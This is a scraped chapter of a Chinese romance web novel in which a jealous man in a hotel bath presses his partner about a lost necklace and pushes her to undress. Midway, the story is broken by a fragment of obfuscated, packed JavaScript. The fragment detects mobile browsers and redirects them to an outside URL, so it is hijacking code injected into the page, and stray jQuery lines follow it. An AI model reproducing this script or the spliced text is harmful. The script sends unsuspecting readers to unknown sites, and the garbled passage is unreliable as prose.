144.罗先生很不高兴

作品:《不可食用景观[久别重逢]

    夜色最浓时,出租车行驶在并不拥挤的车流中间。


    本来车速已经不慢,可姜梨还是忍不住催了几句。


    司机不满地叽里呱啦一阵,她听不懂,讪讪地闭上嘴。背井离乡的陌生感又一次袭来,上次已说不清是什么时候。


    到了下班时间,罗序就一直没来消息。聊天界面停留在她因为不能准时回家而道歉的亲亲表情这里。


    一种大事不妙的感觉突然冒出来。


    下了车,急急忙忙跟着三三两两拉行李的男人穿过旋转门。


    走到前台,找了个看上去比较清闲的服务员,低声道,“顶层VIP套房的罗先生回来了吗?”


    像是早有准备似的,服务员立刻拿出房卡交给她,也学着她的样子低声说,“罗先生很不高兴。”


    旁人看起来,仿佛她们在暗中交接。


    只有姜梨在听到交代时差点笑出声。


    她甚至可以想象,罗序是如何阴着脸穿过大厅,连招呼都不打就进了电梯的。


    直通VIP套房的观景电梯里,姜梨对着反光面把扎起的头发散开,盖住因为喝酒而红彤彤的耳垂。


    豆沙色唇膏厚涂一层,再抿抿唇角,才算满意。


    门锁与磁卡触碰的一瞬传出悦耳的叮咚声,房间很安静,安静得像没人回来过。


    她轻轻踢掉鞋子,悄咪咪地穿过会客厅和中厅。


    卧房的壁灯依旧亮着,仿佛昨夜又至。


    浴室里传出轻微的流水声。


    姜梨脸一红,握住门把手晃了晃,纹丝不动。她轻唤一声,里面依旧没有动静。


    但她知道,人就在里面。


    因为隔着雾蒙蒙的玻璃,有个浅棕色的影子来回走动。


    她不死心地又拧了拧把手,唤了几声,里面没人应答。


    “我回来了,沐沐临时召集去酒吧,总不能让她一个人去。但是我已经尽量提前了,她们还没结束呢。”


    姜梨心里也委屈,没吃饱就眼巴巴地赶回来,结果赶上醋坛子开盖,正酸的时候。


    “你要洗澡吗,那我等你好了。”


    嘴上说着,但没有离开。她能看见罗序,罗序一定也能看见自己。


    刚承诺过不会丢下人家,结果打脸不要太快,认错态度端正才行。


    这点自知之明她还有。


    哗啦啦的流水声再次响起,脚趾耐心地压了压触感绵软的地毯。


    “你快点,我也要洗的。”


    罗序每次洗澡时间都不长,估计是洗完了正在冲淋。


    姜梨轻声提醒着,“我还没吃饭呢,就为了回来陪你,结果你还要洗澡。”


    不说还好,越说越觉得委屈。最糟糕的是,她真的觉得饿了。


    肚子叽里咕噜的,酒精也开始往头上涌,太阳穴嗡嗡的,后脑勺发晕。


    她晃晃头,眼前模糊的影子才逐渐重叠,渐渐清晰。


    “算了,不等你了,我回床上躺会儿。”


    话音刚落,把手一转,门终于开了个缝,一股潮热裹着花香涌出。


    姜梨一挑眉,果然软的不行只能来硬的。


    守着门边说了这么多好听的都不如一句威胁有用。


    指尖轻抵门边,往里一推,门边是空的,只有藤制衣架,上面挂着件白色浴巾。


    她心头一颤,低头看看自己的收腰牛仔裤,在这潮湿的暖光下极不和谐。


    但她还是强撑着往里走。


    果然,浴缸已经放满水,罗序半身露在外面,裹着纱布的一只胳膊撑在浴缸边缘,另一只轻轻拂开飘在水面上的花瓣,朝她勾了勾手。


    姜梨不知道怎么走过去的,脑袋晕晕乎乎地坐在浴缸边缘,上齿咬着下唇才没笑出来。


    “还知道回来。”


    鼻子被湿漉漉的大手拧了一下,她装模作样地躲了下,余光瞥见花瓣下隐隐约约的一长条,脸颊一热,闷闷地嗯了声。


    “也不能怪我,沐沐好不容易心情不错,我不忍心泼冷水……”


    罗序用一个长长地叹气打断。


    “是,都不容易,就我容易。为了等你都快泡脱皮了。”


    姜梨说声对不起,调皮地在罗序唇边啄了啄。


    “这就完了。”


    罗序依旧拨弄着水面,看上去闲适自在,但这一问包含了许多深意。


    姜梨脑袋一时卡住,想不出还能怎样。


    罗序湿润的手指戳了戳她脑门。


    “不是让我帮你洗澡吗。”


    她这才想起来,昨晚留宿闺蜜家时迫不得已用这个条件做交换。


    既然话已出口,就没有反悔余地,至少目前情况来看势在必行。


    “我去换衣服。”


    她刚起身,可又被一把抓住,“在这儿换。”


    姜梨嘴一撅,眉毛皱在一起。


    罗序自然而然地捏过一颗樱桃含在嘴里,笃定地指指身边,重申道,“就在这儿,否则我要追究后果。”


    “你能追究什么后果。我什么都没做,不怕。”


    罗序看着嘴硬的姜梨,一把拽掉樱桃梗,眼神冷下来。


    “项链呢。”


    冷冰冰的眸子扫过空荡荡的脖颈,像被冷风扫荡过,姜梨下意识地摸了摸,眼神飘忽地承认“丢了。”


    手指绞在一起,半边嘴唇都含起来。


    邱如沐婚礼当晚,项链就不翼而飞。


    “你找过吗?还是忘在哪儿了。”


    “没有。”姜梨更难过而心虚。


    当时确实没有想很多,只是觉得人不在,留个东西也没有意义。况且,在场那么多人,如果真有心,捡到当时就会询问。


    而一整晚都无人声张,可见是正巧落在喜欢它的人手里。


    “结婚典礼时还在的,有照片为证。但是晚上到豪华酒廊时就没了,可能被谁捡去也说不定。你要不信就问沐沐,她也知道。”


    罗序目不转睛地打量着姜梨。


    不是毫无感情的审视,而是生怕有一丝纰漏的紧张和不知道该不该相信的犹豫。


    那目光仿佛一下把两人推开很远,她突然有些想哭。


    哭自己当时为什么不找一找,也哭罗序的不信任。


    视线被雾气模糊,她执拗的固守一方和罗序对峙,饱含花香的水雾在四周炸开,夹杂着女孩儿轻轻的抽泣。


    罗序不忍看她哭,别过头,双臂伸展靠在三角形浴缸边缘,蓬勃的肌肉线条在雾气中若隐若现,头仰了仰。


    “你送我的手表在哪儿找到的。”


    35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17269016|187902||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    >“抽屉里,最里面。”姜梨哭着说。


    她知道罗序想表达什么。


    那块手表与项链相比简直算不上礼物。可都被好好珍藏。想通这一点的她更委屈。


    “我也好好收着了。”


    当初离开北城,订婚戒指都没带的她,唯独割舍不下那条项链。因为那是迟到的十八岁生日礼物。


    “平时我都不拿出来的,只有沐沐婚礼那天戴了,结果却丢了。”


    “丢哪儿了?”


    “我要知道丢哪儿,还叫丢吗?”


    这一刻罗序刻薄到不可理喻。


    姜梨心头升腾起声嘶力竭的呐喊,但表面却依旧紧绷着。


    “也许我当时应该回去找找,但那天人太多了,希望渺茫。我承认,弄丢了礼物是我不对,但也不能因为这件事,就让我……在你面前脱光。”


    最后几个字她说得很小声,因为实在太过羞耻。


    但罗序却像听了笑话般,调侃地望着她。


    “我要看清你,才能相信你。姜姜,你知道我的为人。”


    罗序老套,一板一眼。他与姜梨相处中,一直言出必行,不允许有任何行差踏错,哪怕是亲弟弟沈时要夺走姜梨,他也敢出手解决。


    “我要的是全心全意,姜姜,我必须看到这一点。”


    他略带威胁与逼迫地瞄了眼,抬手拿过水晶马克杯,威士忌中飘着冰块。


    轻轻含了一口,居然苦涩得皱眉。


    棱角分明的下颌歪了歪,利落地仰脖,一饮而尽,酒杯咚地放回一边,目光再次凌厉地扫过姜梨。


    她垂着脖子,像只受伤的天鹅,脚尖一转就离开了。


    罗序紧绷的脸色终于溃败,眼里都是破碎的光。


    他始终不能相信,自己送给姜梨的蓝宝石项链居然会在蒋清南手里,而且在私人抽屉中珍藏着。


    如果不是蒋清月透露,他就一直被蒙在鼓里。


    罗序不怕蒋清南喜欢姜梨。


    在这物欲横流的名利场里,姜梨这样的女孩儿就是一块新鲜肥美的羔羊,哪个男人不渴望。


    可这件事倘若事先揭开,是清者自清。如今从他人口中得知,不免陷入被动。


    有一点要承认,在这些人中混久了,他也有些怕。


    他怕姜梨不要他,因为他不确信自己是最好的,最适合姜梨的。


    他只能确认一件事,他离不开姜梨,更怕姜梨骗他。


    马克杯再次装满酒,罗序只喝了一口便没了滋味。


    花瓣浴、美酒、水果、甜品……辛辛苦苦准备这一切却换不来姜梨的坦诚。


    他心有忐忑,是不是姜梨也变了。


    他正准备起身冲个干净,却看见门口处又闪现一片光亮,女孩儿的影子越来越近。


    罗序心头和搭在浴缸边缘的手都一紧。


    姜梨只围了条浴巾就走进来。


    雪白浴巾只够挡住前胸以下到大腿根的位置,却遮不住优美曲线。


    她每走一步,都能看见罗序目光中的理智正在支离破碎。


    镇定自若地走到浴缸一侧,顺着边缘滑进鲜红的花瓣中。


    捏着浴巾一点点从花瓣中穿过,水流温暖着冰凉的四肢,她稍稍松口气,垂眸向罗序走去……